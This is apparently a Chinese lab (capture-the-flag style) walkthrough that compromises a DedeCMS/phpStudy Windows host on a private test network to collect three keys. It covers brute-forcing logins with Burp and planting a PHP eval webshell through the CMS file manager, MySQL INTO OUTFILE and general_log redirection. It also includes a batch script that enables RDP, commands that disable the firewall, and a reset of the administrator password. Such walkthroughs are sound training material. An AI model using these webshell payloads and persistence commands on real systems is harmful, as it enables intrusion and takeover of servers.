1. 靶场环境
2. 信息搜集
nmap 扫描存活主机,发现主机 192.168.163.130
1
nmap -sn 192.168.163.0/24
扫描端口
1
namp -sS -p- -T5 192.168.163.130
发现 http 站点和 mysql 数据库
访问站点
弹出登录框
bp 抓包查看,发现 base64 编码的认证头
解码发现为输入的用户名密码
3. 登录页面爆破
发送到 Intruder
,构造 payload
参数设置
位置 2 配置
选择 base64 编码
取消勾选 URL 编码
开始攻击
过滤 status code
YWRtaW46MTIzNDU2
解码得到 admin:123456
获取到 key1
登录后弹出提示框显示 key
3.2. bp 目录遍历
设置 payload
添加字典
1
2
3
4
/dede/login.php # 织梦默认后台路径
/member/login.php # 网站登录路径
/member/reg_new.php # 网站注册路径
/phpmyadmin/index.php # phpmyadmin登录页面
4. 访问织梦后台
使用 123:123 登录提示:用户名不存在
使用 admin:123456 登录提示:密码错误
说明存在用户:admin
4.1.1. bp 爆破密码
重新获取一次验证码填入 validate
,设置 pwd 为 payload
载入字典
攻击结果:
用户名:admin 密 码:888888
登录成功,浏览页面,在 文件式管理器
发现利用点,可以上传、创建 php 文件
4.2. getshell
新建一句话木马文件
点击文件,访问成功
蚁剑连接
配置认证头
连接成功,在网站根目录发现 key.txt
获取到 key2
发现当前用户为 System
查找 key.txt
,只找到网站根目录的 key
1
for /r "c:\" %i in (key*.txt*) do echo %i
猜测 key3 在回收站
[!NOTE]
放入回收站的文件会被改名,且分为两个文件: 一个保存文件原路径,一个保存文件原内容。
查看回收站内容
发现路径文件
获取到 key3
发现 key.txt 文件内容
4.3. 开启远程桌面
上传 3389.bat
脚本并执行
1
2
3
4
5
6
7
8
9
10
@REM 3389.bat
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
查看端口开放情况
查看防火墙状态
1
2
3
netsh fiewwall show state
# 禁用防火墙
netsh firewall set opmod disable
修改管理员用户密码
1
net user administrator 123456
Win+R
输入 mstsc
连接远程桌面
回收站发现 key
5. 访问 phpMyadmin
测试弱密码 root:root
登录成功
发现数据库 dedecmsv56utf
为织梦数据库
发现admin 密码:cca77804d2ba1922c33e
查看数据库 dede_member
中的用户密码
发现 0001 用户密码与 admin 密码有相似部分,确定 admin 密码格式为 md5 编码截取前 5 位和后 7 位,可以注册用户并替换密码
获取网站根目录路径
1
2
show global variables; # 查看配置
select @@basedir;
发现目录 C:\phpStudy\
,猜测网站根目录路径:C:\phpStudy\WWW\
5.1.1. 利用 OUTFILE getshell
查看权限
1
show global variables like "%priv%";
secure_file_priv
显示为空,说明可在任意处创建文件
1
2
select '<?php echo 123;eval($_REQUEST[a]);?>' into outfile 'c:/phpstudy/www/shell.php';
-- 不能写成 'c:\phpstudy\www\shell.php'
蚁剑连接,配置认证头
连接成功
5.2. 利用日志 getshell
原理:MySQL 的 general_log、slow_log 可以记录 SQL 语句到文件。通过设置日志路径到 Web 目录,就能写 PHP 代码。
利用场景:当没有权限使用 OUTFILE 时可利用 MySQL 日志文件 getshell
查看日志状态:
1
show global variables like '%log%';
修改日志配置:
1
2
set global general_log="ON";
set global general_log_file="c:/phpstudy/www/shell_log.php";
注:除了使用命令操作,也可使用可视化界面进行修改。
注入一句话木马:
1
2
3
select '<?php echo 123;eval($_REQUEST[a]);?>';
-- 关闭日志记录
set global general_log="OFF";
访问成功:
蚁剑连接后获取 key